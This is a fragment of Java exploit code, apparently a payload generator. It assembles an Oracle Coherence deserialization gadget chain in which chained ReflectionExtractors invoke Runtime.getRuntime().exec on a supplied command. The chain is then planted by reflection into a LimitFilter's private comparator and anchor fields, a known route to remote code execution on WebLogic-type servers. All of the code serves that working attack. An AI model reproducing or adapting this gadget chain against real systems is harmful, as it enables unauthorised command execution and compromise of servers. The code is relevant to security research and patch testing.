Generated by the specified version
Core reflection
Class<?> classReflectionExtractor = loader.loadClass("com.tangosol.util.extractor.ReflectionExtractor");
Class<?> classChainedExtractor = loader.loadClass("com.tangosol.util.extractor.ChainedExtractor");
Class<?> classLimitFilter = loader.loadClass("com.tangosol.util.filter.LimitFilter");
Class<?> classValueExtractor = loader.loadClass("com.tangosol.util.ValueExtractor");
// Runtime.class.getRuntime()
Constructor<?> constructorReflectionExtractor1 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor1 = constructorReflectionExtractor1.newInstance("getMethod", new Object[]{"getRuntime", new Class[0]});
// get invoke() to execute exec()
Constructor<?> constructorReflectionExtractor2 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor2 = constructorReflectionExtractor2.newInstance("invoke", new Object[]{null, new Object[0]});
// invoke("exec","calc")
Constructor<?> constructorReflectionExtractor3 = classReflectionExtractor.getConstructor(String.class, Object[].class);
Object extractor3 = constructorReflectionExtractor3.newInstance("exec", new Object[]{cmd[1]});
Object arrays = Array.newInstance(classReflectionExtractor, 3);
Array.set(arrays, 0, extractor1);
Array.set(arrays, 1, extractor2);
Array.set(arrays, 2, extractor3);
Object chainedExtractor = null;
Constructor<?>[] constructorClassChainedExtractor = classChainedExtractor.getConstructors();
for (Constructor<?> constructor:constructorClassChainedExtractor){
if(constructor.toString().equalsIgnoreCase("public com.tangosol.util.extractor.ChainedExtractor(com.tangosol.util.ValueExtractor[])")){
chainedExtractor = constructor.newInstance(arrays);
}
}
//set m_comparator
Object limitFilter = classLimitFilter.newInstance();
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//set m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);